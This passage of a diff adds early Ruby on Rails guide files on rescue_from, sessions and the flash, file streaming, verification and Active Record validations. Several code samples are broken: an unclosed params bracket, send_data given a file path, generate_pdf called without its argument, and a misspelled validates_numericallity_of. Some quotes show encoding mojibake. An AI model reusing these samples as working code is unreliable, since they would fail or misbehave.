to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML. + +=== `rescue_from` === + +If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the `:with` option. You can also use a block directly instead of an explicit Proc object. + +Here's how you can use +rescue_from+ to intercept all ActiveRecord::RecordNotFound errors and do something with them. + +[source, ruby] +----------------------------------- +class ApplicationController < ActionController::Base + + rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found + +private + + def record_not_found + render :text => "404 Not Found", :status => 404 + end + +end +----------------------------------- + +Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application: + +[source, ruby] +----------------------------------- +class ApplicationController < ActionController::Base + + rescue_from User::NotAuthorized, :with => :user_not_authorized + +private + + def user_not_authorized + flash[:error] = "You don't have access to this section." + redirect_to :back + end + +end + +class ClientsController < ApplicationController + + # Check that the user has the right authorization to access clients. + before_filter :check_authorization + + # Note how the actions don't have to worry about all the auth stuff. + def edit + @client = Client.find(params[:id]) + end + +private + + # If the user is not authorized, just throw the exception. + def check_authorization + raise User::NotAuthorized unless current_user.admin? + end + +end +----------------------------------- + +NOTE: Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[article] on the subject for more information. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt new file mode 100644 index 00000000..ae5f8767 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt @@ -0,0 +1,187 @@ +== Session == + +Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms: + + * CookieStore - Stores everything on the client. + * DRbStore - Stores the data on a DRb server. + * MemCacheStore - Stores the data in a memcache. + * ActiveRecordStore - Stores the data in a database using Active Record. + +All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can't use the query string to pass a session ID) because of security concerns (it's easier to hijack a session when the ID is part of the URL). + +Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application. + +Read more about session storage in the link:../security.html[Security Guide]. + +If you need a different session storage mechanism, you can change it in the `config/environment.rb` file: + +[source, ruby] +------------------------------------------ +# Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store] +config.action_controller.session_store = :active_record_store +------------------------------------------ + +=== Disabling the Session === + +Sometimes you don't need a session. In this case, you can turn it off to avoid the unnecessary overhead. To do this, use the `session` class method in your controller: + +[source, ruby] +------------------------------------------ +class ApplicationController < ActionController::Base + session :off +end +------------------------------------------ + +You can also turn the session on or off for a single controller: + +[source, ruby] +------------------------------------------ +# The session is turned off by default in ApplicationController, but we +# want to turn it on for log in/out. +class LoginsController < ActionController::Base + session :on +end +------------------------------------------ + +Or even for specified actions: + +[source, ruby] +------------------------------------------ +class ProductsController < ActionController::Base + session :on, :only => [:create, :update] +end +------------------------------------------ + +=== Accessing the Session === + +In your controller you can access the session through the `session` instance method. + +NOTE: There are two `session` methods, the class and the instance method. The class method which is described above is used to turn the session on and off while the instance method described below is used to access session values. + +Session values are stored using key/value pairs like a hash: + +[source, ruby] +------------------------------------------ +class ApplicationController < ActionController::Base + +private + + # Finds the User with the ID stored in the session with the key :current_user_id + # This is a common way to handle user login in a Rails application; logging in sets the + # session value and logging out removes it. + def current_user + @_current_user ||= session[:current_user_id] && User.find(session[:current_user_id]) + end + +end +------------------------------------------ + +To store something in the session, just assign it to the key like a hash: + +[source, ruby] +------------------------------------------ +class LoginsController < ApplicationController + + # "Create" a login, aka "log the user in" + def create + if user = User.authenticate(params[:username, params[:password]) + # Save the user ID in the session so it can be used in subsequent requests + session[:current_user_id] = user.id + redirect_to root_url + end + end + +end +------------------------------------------ + +To remove something from the session, assign that key to be `nil`: + +[source, ruby] +------------------------------------------ +class LoginsController < ApplicationController + + # "Delete" a login, aka "log the user out" + def destroy + # Remove the user id from the session + session[:current_user_id] = nil + redirect_to root_url + end + +end +------------------------------------------ + +To reset the entire session, use `reset_session`. + +=== The flash === + +The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request: + +[source, ruby] +------------------------------------------ +class LoginsController < ApplicationController + + def destroy + session[:current_user_id] = nil + flash[:notice] = "You have successfully logged out" + redirect_to root_url + end + +end +------------------------------------------ + +The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout: + +------------------------------------------ + + + + <% if flash[:notice] -%> +

<%= flash[:notice] %>

+ <% end -%> + <% if flash[:error] -%> +

<%= flash[:error] %>

+ <% end -%> + + + +------------------------------------------ + +This way, if an action sets an error or a notice message, the layout will display it automatically. + +If you want a flash value to be carried over to another request, use the `keep` method: + +[source, ruby] +------------------------------------------ +class MainController < ApplicationController + + # Let's say this action corresponds to root_url, but you want all requests here to be redirected to + # UsersController#index. If an action sets the flash and redirects here, the values would normally be + # lost when another redirect happens, but you can use keep to make it persist for another request. + def index + flash.keep # Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice) + redirect_to users_url + end + +end +------------------------------------------ + +==== +flash.now+ ==== + +By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`: + +[source, ruby] +------------------------------------------ +class ClientsController < ApplicationController + + def create + @client = Client.new(params[:client]) + if @client.save + # ... + else + flash.now[:error] = "Could not save client" + render :action => "new" + end + end + +end +------------------------------------------ diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt new file mode 100644 index 00000000..dc8ebe6d --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt @@ -0,0 +1,91 @@ +== Streaming and File Downloads == + +Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, that will both stream data to the client. `send_file` is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you. + +To stream data to the client, use `send_data`: + +[source, ruby] +---------------------------- +require "prawn" +class ClientsController < ApplicationController + + # Generate a PDF document with information on the client and return it. + # The user will get the PDF as a file download. + def download_pdf + client = Client.find(params[:id]) + send_data(generate_pdf, :filename => "#{client.name}.pdf", :type => "application/pdf") + end + +private + + def generate_pdf(client) + Prawn::Document.new do + text client.name, :align => :center + text "Address: #{client.address}" + text "Email: #{client.email}" + end.render + end + +end +---------------------------- + +The `download_pdf` action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to "inline". The opposite and default value for this option is "attachment". + +=== Sending Files === + +If you want to send a file that already exists on disk, use the `send_file` method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file. + +[source, ruby] +---------------------------- +class ClientsController < ApplicationController + + # Stream a file that has already been generated and stored on disk + def download_pdf + client = Client.find(params[:id]) + send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf", :filename => "#{client.name}.pdf", :type => "application/pdf") + end + +end +---------------------------- + +This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option. + +WARNING: Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see. + +TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. + +=== RESTful Downloads === + +While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming: + +[source, ruby] +---------------------------- +class ClientsController < ApplicationController + + # The user can request to receive this resource as HTML or PDF. + def show + @client = Client.find(params[:id]) + + respond_to do |format| + format.html + format.pdf{ render :pdf => generate_pdf(@client) } + end + end + +end +---------------------------- + +In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`: + +[source, ruby] +---------------------------- +Mime::Type.register "application/pdf", :pdf +---------------------------- + +NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect. + +Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL: + +---------------------------- +GET /clients/1.pdf +---------------------------- diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt new file mode 100644 index 00000000..5d8ee611 --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt @@ -0,0 +1,40 @@ +== Verification == + +Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the `params`, `session` or `flash` hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the link:http://api.rubyonrails.org/classes/ActionController/Verification/ClassMethods.html[API documentation] as "essentially a special kind of before_filter". + +Here's an example of using verification to make sure the user supplies a username and a password in order to log in: + +[source, ruby] +--------------------------------------- +class LoginsController < ApplicationController + + verify :params => [:username, :password], + :render => {:action => "new"}, + :add_flash => {:error => "Username and password required to log in"} + + def create + @user = User.authenticate(params[:username], params[:password]) + if @user + flash[:notice] = "You're logged in" + redirect_to root_url + else + render :action => "new" + end + end + +end +--------------------------------------- + +Now the `create` action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the "new" action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the `:only` and `:except` options just like a filter: + +[source, ruby] +--------------------------------------- +class LoginsController < ApplicationController + + verify :params => [:username, :password], + :render => {:action => "new"}, + :add_flash => {:error => "Username and password required to log in"}, + :only => :create # Only run this verification for the "create" action + +end +--------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/active_record_basics.txt b/vendor/rails/railties/doc/guides/source/active_record_basics.txt new file mode 100644 index 00000000..892adb2d --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/active_record_basics.txt @@ -0,0 +1,181 @@ +Active Record Basics +==================== + +Active Record is a design pattern that mitigates the mind-numbing mental gymnastics often needed to get your application to communicate with a database. This guide uses a mix of real-world examples, metaphors and detailed explanations of the actual Rails source code to help you make the most of ActiveRecord. + +After reading this guide readers should have a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make them a stronger and better developer. + +== ORM The Blueprint of Active Record + +If Active Record is the engine of Rails then ORM is the blueprint of that engine. ORM is short for “Object Relational Mapping†and is a programming concept used to make structures within a system relational. As a thought experiment imagine the components that make up a typical car. There are doors, seats, windows, engines etc. Viewed independently they are simple parts, yet when bolted together through the aid of a blueprint, the parts become a more complex device. ORM is the blueprint that describes how the individual parts relate to one another and in some cases infers the part’s purpose through the way the associations are described. + +== Active Record The Engine of Rails + +Active Record is a design pattern used to access data within a database. The name “Active Record†was coined by Martin Fowler in his book “Patterns of Enterprise Application Architectureâ€. Essentially, when a record is returned from the database instead of being just the data it is wrapped in a class, which gives you methods to control that data with. The rails framework is built around the MVC (Model View Controller) design patten and the Active Record is used as the default Model. + +The Rails community added several useful concepts to their version of Active Record, including inheritance and associations, which are extremely useful for web applications. The associations are created by using a DSL (domain specific language) of macros, and inheritance is achieved through the use of STI (Single Table Inheritance) at the database level. + +By following a few simple conventions the Rails Active Record will automatically map between: + +* Classes & Database Tables +* Class attributes & Database Table Columns + +=== Rails Active Record Conventions +Here are the key conventions to consider when using Active Record. + +==== Naming Conventions +Database Table - Plural with underscores separating words i.e. (book_clubs) +Model Class - Singular with the first letter of each word capitalized i.e. (BookClub) +Here are some additional Examples: + +[grid="all"] +`-------------`--------------- +Model / Class Table / Schema +---------------------------- +Post posts +LineItem line_items +Deer deer +Mouse mice +Person people +---------------------------- + +==== Schema Conventions + +To take advantage of some of the magic of Rails database tables must be modeled +to reflect the ORM decisions that Rails makes. + +[grid="all"] +`-------------`--------------------------------------------------------------------------------- +Convention +------------------------------------------------------------------------------------------------- +Foreign keys These fields are named table_id i.e. (item_id, order_id) +Primary Key Rails automatically creates a primary key column named "id" unless told otherwise. +------------------------------------------------------------------------------------------------- + +==== Magic Field Names + +When these optional fields are used in your database table definition they give the Active Record +instance additional features. + +NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword +used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous +keyword like "context", that may still accurately describe the data you are modeling. + +[grid="all"] +`------------------------`------------------------------------------------------------------------------ +Attribute Purpose +------------------------------------------------------------------------------------------------------ +created_at / created_on Rails stores the current date & time to this field when creating the record. +updated_at / updated_on Rails stores the current date & time to this field when updating the record. +lock_version Adds optimistic locking to a model link:http://api.rubyonrails.com/classes/ActiveRecord/Locking.html[more about optimistic locking]. +type Specifies that the model uses Single Table Inheritance link:http://api.rubyonrails.com/classes/ActiveRecord/Base.html[more about STI]. +id All models require an id. the default is name is "id" but can be changed using the "set_primary_key" or "primary_key" methods. +_table_name_\_count Can be used to caches the number of belonging objects on the associated class. +------------------------------------------------------------------------------------------------------ + +By default rails assumes all tables will use “id†as their primary key to identify each record. Though fortunately you won’t have explicitly declare this, Rails will automatically create that field unless you tell it not to. + +For example suppose you created a database table called cars: + +[source, sql] +------------------------------------------------------- +mysql> CREATE TABLE cars ( + id INT, + color VARCHAR(100), + doors INT, + horses INT, + model VARCHAR(100) + ); +------------------------------------------------------- + +Now you created a class named Car, which is to represent an instance of a record from your table. + +[source, ruby] +------------------------------------------------------- +class Car +end +------------------------------------------------------- + +As you might expect without defining the explicit mappings between your class and the table it is impossible for Rails or any other program to correctly map those relationships. + +[source, ruby] +------------------------------------------------------- +>> c = Car.new +=> # +>> c.doors +NoMethodError: undefined method `doors' for # + from (irb):2 +------------------------------------------------------- + +Now you could define a door methods to write and read data to and from the database. In a nutshell this is what ActiveRecord does. According to the Rails API: +“Active Record objects don‘t specify their attributes directly, but rather infer them from the table definition with which they‘re linked. Adding, removing, and changing attributes and their type is done directly in the database. Any change is instantly reflected in the Active Record objects. The mapping that binds a given Active Record class to a certain database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.†+Lets try our Car class again, this time inheriting from ActiveRecord. + +[source, ruby] +------------------------------------------------------- +class Car < ActiveRecord::Base +end +------------------------------------------------------- + +Now if we try to access an attribute of the table ActiveRecord automatically handles the mappings for us, as you can see in the following example. + +[source, ruby] +------------------------------------------------------- +>> c = Car.new +=> # +>> c.doors +=> nil +------------------------------------------------------- + +Rails further extends this model by giving each ActiveRecord a way of describing the variety of ways records are associated with one another. We will touch on some of these associations later in the guide but I encourage readers who are interested to read the guide to ActiveRecord associations for an in-depth explanation of the variety of ways rails can model associations. +- Associations between objects controlled by meta-programming macros. + +== Philosophical Approaches & Common Conventions +Rails has a reputation of being a zero-config framework which means that it aims to get you off the ground with as little pre-flight checking as possible. This speed benefit is achieved by following “Convention over Configurationâ€, which is to say that if you agree to live with the defaults then you benefit from a the inherent speed-boost. As Courtneay Gasking put it to me once “You don’t want to off-road on Railsâ€. ActiveRecord is no different, while it’s possible to override or subvert any of the conventions of AR, unless you have a good reason for doing so you will probably be happy with the defaults. The following is a list of the common conventions of ActiveRecord + +== ActiveRecord Magic + - timestamps + - updates + +== How ActiveRecord Maps your Database. +- sensible defaults +- overriding conventions + +== Growing Your Database Relationships Naturally + +== Attributes + - attribute accessor method. How to override them? + - attribute? + - dirty records + - +== ActiveRecord handling the CRUD of your Rails application - Understanding the life-cycle of an ActiveRecord + +== Validations & Callbacks +- Validations + * create! + * validates_acceptance_of + * validates_associated + * validates_confirmation_of + * validates_each + * validates_exclusion_of + * validates_format_of + * validates_inclusion_of + * validates_length_of + * validates_numericality_of + * validates_presence_of + * validates_size_of + * validates_uniqueness_of + - Callback + * (-) save + * (-) valid + * (1) before_validation + * (2) before_validation_on_create + * (-) validate + * (-) validate_on_create + * (3) after_validation + * (4) after_validation_on_create + * (5) before_save + * (6) before_create + * (-) create + * (7) after_create + * (8) after_save diff --git a/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt b/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt new file mode 100644 index 00000000..fd6eb86b --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt @@ -0,0 +1,404 @@ +Active Record Validations and Callbacks +======================================= + +This guide teaches you how to work with the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database and also how to teach them to perform custom operations at certain points of their lifecycles. + +After reading this guide and trying out the presented concepts, we hope that you'll be able to: + +* Correctly use all the built-in Active Record validation helpers +* Create your own custom validation methods +* Work with the error messages generated by the validation proccess +* Register callback methods that will execute custom operations during your objects lifecycle, for example before/after they are saved. +* Create special classes that encapsulate common behaviour for your callbacks +* Create Observers - classes with callback methods specific for each of your models, keeping the callback code outside your models' declarations. + +== Motivations to validate your Active Record objects + +The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly. + +There are several ways to validate the data that goes to the database, like using database native constraints, implementing validations only at the client side or implementing them directly into your models. Each one has pros and cons: + +* Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and mantain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level. +* Implementing validations only at the client side can be problematic, specially with web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data. +* Using validation directly into your Active Record classes ensures that only valid data gets recorded, while still keeping the validation code in the right place, avoiding breaking the MVC pattern. Since the validation happens on the server side, the user cannot disable it, so it's also safer. It may be a hard and tedious work to implement some of the logic involved in your models' validations, but fear not: Active Record gives you the hability to easily create validations, using several built-in helpers while still allowing you to create your own validation methods. + +== How it works + +=== When does validation happens? + +There are two kinds of Active Record objects: those that correspond to a row inside your database and those who do not. When you create a fresh object, using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it'll be recorded to it's table. Active Record uses the +new_record?+ instance method to discover if an object is already in the database or not. Consider the following simple and very creative Active Record class: + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base +end +------------------------------------------------------------------ + +We can see how it works by looking at the following script/console output: + +------------------------------------------------------------------ +>> p = Person.new(:name => "John Doe", :birthdate => Date.parse("09/03/1979")) +=> # +>> p.new_record? +=> true +>> p.save +=> true +>> p.new_record? +=> false +------------------------------------------------------------------ + +Saving new records means sending an SQL insert operation to the database, while saving existing records (by calling either +save+, +update_attribute+ or +update_attributes+) will result in a SQL update operation. Active Record will use this facts to perform validations upon your objects, avoiding then to be recorded to the database if their inner state is invalid in some way. You can specify validations that will be beformed every time a object is saved, just when you're creating a new record or when you're updating an existing one. + +=== The meaning of 'valid' + +For verifying if an object is valid, Active Record uses the +valid?+ method, which basically looks inside the object to see if it has any validation errors. These errors live in a collection that can be accessed through the +errors+ instance method. The proccess is really simple: If the +errors+ method returns an empty collection, the object is valid and can be saved. Each time a validation fails, an error message is added to the +errors+ collection. + +== The declarative validation helpers + +Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers create validations rules that are commonly used in most of the applications that you'll write, so you don't need to recreate it everytime, avoiding code duplication, keeping everything organized and boosting your productivity. Everytime a validation fails, an error message is added to the object's +errors+ collection, this message being associated with the field being validated. + +Each helper accepts an arbitrary number of attributes, received as symbols, so with a single line of code you can add the same kind of validation to several attributes. + +All these helpers accept the +:on+ and +:message+ options, which define when the validation should be applied and what message should be added to the +errors+ collection when it fails, respectively. The +:on+ option takes one the values +:save+ (it's the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't used. Let's take a look at each one of the available helpers, listed in alphabetic order. + +=== The +validates_acceptance_of+ helper + +Validates that a checkbox has been checked for agreement purposes. It's normally used when the user needs to agree with your application's terms of service, confirm reading some clauses or any similar concept. This validation is very specific to web applications and actually this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute). + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_acceptance_of :terms_of_service +end +------------------------------------------------------------------ + +The default error message for +validates_acceptance_of+ is "_must be accepted_" + ++validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change it. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_acceptance_of :terms_of_service, :accept => 'yes' +end +------------------------------------------------------------------ + + +=== The +validates_associated+ helper + +You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects. + +[source, ruby] +------------------------------------------------------------------ +class Library < ActiveRecord::Base + has_many :books + validates_associated :books +end +------------------------------------------------------------------ + +This validation will work with all the association types. + +CAUTION: Pay attention not to use +validates_associated+ on both ends of your associations, because this will lead to several recursive calls and blow up the method calls' stack. + +The default error message for +validates_associated+ is "_is invalid_". Note that the errors for each failed validation in the associated objects will be set there and not in this model. + +=== The +validates_confirmation_of+ helper + +You should use this helper when you have two text fields that should receive exactly the same content, like when you want to confirm an email address or password. This validation creates a virtual attribute, using the name of the field that has to be confirmed with '_confirmation' appended. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_confirmation_of :email +end +------------------------------------------------------------------ + +In your view template you could use something like +------------------------------------------------------------------ +<%= text_field :person, :email %> +<%= text_field :person, :email_confirmation %> +------------------------------------------------------------------ + +NOTE: This check is performed only if +email_confirmation+ is not nil, and by default only on save. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide): + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_confirmation_of :email + validates_presence_of :email_confirmation +end +------------------------------------------------------------------ + +The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_" + +=== The +validates_each+ helper + +This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_each :name, :surname do |model, attr, value| + model.errors.add(attr, 'Must start with upper case') if value =~ /^[a-z]/ + end +end +------------------------------------------------------------------ + +The block receives the model, the attribute's name and the attribute's value. If your validation fails, you can add an error message to the model, therefore making it invalid. + +=== The +validates_exclusion_of+ helper + +This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object. + +[source, ruby] +------------------------------------------------------------------ +class MovieFile < ActiveRecord::Base + validates_exclusion_of :format, :in => %w(mov avi), :message => "Extension %s is not allowed" +end +------------------------------------------------------------------ + +The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. In the previous example we used the +:message+ option to show how we can personalize it with the current attribute's value, through the +%s+ format mask. + +The default error message for +validates_exclusion_of+ is "_is not included in the list_". + +=== The +validates_format_of+ helper + +This helper validates the attributes's values by testing if they match a given pattern. This pattern must be specified using a Ruby regular expression, which must be passed through the +:with+ option. + +[source, ruby] +------------------------------------------------------------------ +class Product < ActiveRecord::Base + validates_format_of :description, :with => /^[a-zA-Z]+$/, :message => "Only letters allowed" +end +------------------------------------------------------------------ + +The default error message for +validates_format_of+ is "_is invalid_". + +=== The +validates_inclusion_of+ helper + +This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object. + +[source, ruby] +------------------------------------------------------------------ +class Coffee < ActiveRecord::Base + validates_inclusion_of :size, :in => %w(small medium large), :message => "%s is not a valid size" +end +------------------------------------------------------------------ + +The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. In the previous example we used the +:message+ option to show how we can personalize it with the current attribute's value, through the +%s+ format mask. + +The default error message for +validates_inclusion_of+ is "_is not included in the list_". + +=== The +validates_length_of+ helper + +This helper validates the length of your attribute's value. It can receive a variety of different options, so you can specify length contraints in different ways. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_length_of :name, :minimum => 2 + validates_length_of :bio, :maximum => 500 + validates_length_of :password, :in => 6..20 + validates_length_of :registration_number, :is => 6 +end +------------------------------------------------------------------ + +The possible length constraint options are: + +* +:minimum+ - The attribute cannot have less than the specified length. +* +:maximum+ - The attribute cannot have more than the specified length. +* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a Ruby range. +* +:is+ - The attribute length must be equal to a given value. + +The default error messages depend on the type of length validation being performed. You can personalize these messages, using the +:wrong_length+, +:too_long+ and +:too_short+ options and the +%d+ format mask as a placeholder for the number corresponding to the length contraint being used. You can still use the +:message+ option to specify an error message. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_length_of :bio, :too_long => "you're writing too much. %d characters is the maximum allowed." +end +------------------------------------------------------------------ + +This helper has an alias called +validates_size_of+, it's the same helper with a different name. You can use it if you'd like to. + +=== The +validates_numericallity_of+ helper + +This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by a integral or floating point number. Using the +:integer_only+ option set to true, you can specify that only integral numbers are allowed. + +If you use +:integer_only+ set to +true+, then it will use the +$$/\A[+\-]?\d+\Z/$$+ regular expression to validate the attribute's value. Otherwise, it will try to convert the value using +Kernel.Float+. + +[source, ruby] +------------------------------------------------------------------ +class Player < ActiveRecord::Base + validates_numericallity_of :points + validates_numericallity_of :games_played, :integer_only => true +end +------------------------------------------------------------------ + +The default error message for +validates_numericallity_of+ is "_is not a number_". + +=== The +validates_presence_of+ helper + +This helper validates that the attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or an empty string (if the string has only spaces, it will still be considered empty). + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_presence_of :name, :login, :email +end +------------------------------------------------------------------ + +NOTE: If you want to be sure that an association is present, you'll need to test if the foreign key used to map the association is present, and not the associated object itself. + +[source, ruby] +------------------------------------------------------------------ +class LineItem < ActiveRecord::Base + belongs_to :order + validates_presence_of :order_id +end +------------------------------------------------------------------ + +NOTE: If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, :in => [true, false] This is due to the way Object#blank? handles boolean values. false.blank? # => true + +The default error message for +validates_presence_of+ is "_can't be empty_". + +=== The +validates_uniqueness_of+ helper + +This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint directly into your database, so it may happen that two different database connections create two records with the same value for a column that you wish were unique. To avoid that, you must create an unique index in your database. + +[source, ruby] +------------------------------------------------------------------ +class Account < ActiveRecord::Base + validates_uniqueness_of :email +end +------------------------------------------------------------------ + +The validation happens by performing a SQL query into the model's table, searching for a record where the attribute that must be validated is equal to the value in the object being validated. + +There is a +:scope+ option that you can use to specify other attributes that must be used to define uniqueness: + +[source, ruby] +------------------------------------------------------------------ +class Holiday < ActiveRecord::Base + validates_uniqueness_of :name, :scope => :year, :message => "Should happen once per year" +end +------------------------------------------------------------------ + +There is also a +:case_sensitive+ option that you can use to define if the uniqueness contraint will be case sensitive or not. This option defaults to true. + +[source, ruby] +------------------------------------------------------------------ +class Person < ActiveRecord::Base + validates_uniqueness_of :name, :case_sensitive => false +end +------------------------------------------------------------------ + +The default error message for +validates_uniqueness_of+ is "_has already been taken_". + +== Common validation options + +There are some common options that all the validation helpers can use. Here they are, except for the +:if+ and +:unless+ options, which we'll cover right at the next topic. + +=== The +:allow_nil+ option + +You may use the +:allow_nil+ option everytime you just want to trigger a validation if the value being validated is not +nil+. You may be asking yourself if it makes any sense to use +:allow_nil+ and +validates_presence_of+ together. Well, it does. Remember, validation will be skipped only for +nil+ attributes, but empty strings are not considered +nil+. + +[source, ruby] +------------------------------------------------------------------ +class Coffee < ActiveRecord::Base + validates_inclusion_of :size, :in => %w(small medium large), + :message => "%s is not a valid size", :allow_nil => true +end +------------------------------------------------------------------ + +=== The +:message+ option + +As stated before, the 